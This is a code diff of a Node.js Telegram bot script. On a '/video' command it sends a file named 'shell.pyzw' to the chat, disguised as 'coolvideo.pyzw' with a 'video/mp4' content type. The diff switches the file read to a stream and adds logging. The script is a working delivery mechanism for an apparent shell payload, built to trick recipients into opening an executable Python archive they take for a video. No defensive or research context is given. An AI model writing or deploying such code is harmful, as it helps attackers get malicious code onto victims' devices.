1 | 1 | | const fs = require("fs"); |
2 | 2 | | const TelegramBot = require("node-telegram-bot-api"); |
3 | | - | const token = "******************"; |
| 3 | + | |
| 4 | + | const token = "*******:******_*************"; |
| 5 | + | |
4 | 6 | | const bot = new TelegramBot(token, { polling: true }); |
| 7 | + | |
5 | 8 | | bot.onText(/\/video/, (msg) => { |
6 | 9 | | const chatId = msg.chat.id; |
| 10 | + | |
| 11 | + | const videoStream = fs.createReadStream("shell.pyzw"); |
| 12 | + | |
7 | 13 | | bot.sendVideo( |
8 | 14 | | chatId, |
9 | | - | fs.readFileSync("shell.pyzw"), |
| 15 | + | videoStream, |
10 | 16 | | { |
11 | 17 | | width: 300, |
12 | 18 | | height: 300, |
13 | 19 | | duration: 30, |
14 | | - | }, { |
15 | | - | filename: "coolvideo.pyzw", |
16 | | - | contentType: "video/mp4" |
17 | | - | } |
18 | | - | ); |
| 20 | + | }, |
| 21 | + | { |
| 22 | + | filename: "coolvideo.pyzw", |
| 23 | + | contentType: "video/mp4" |
| 24 | + | } |
| 25 | + | ).then(() => { |
| 26 | + | console.log("Video sent successfully"); |
| 27 | + | }).catch((err) => { |
| 28 | + | console.error("Error sending video:", err.toString()); |
| 29 | + | }); |
19 | 30 | | }); |
20 | 31 | | |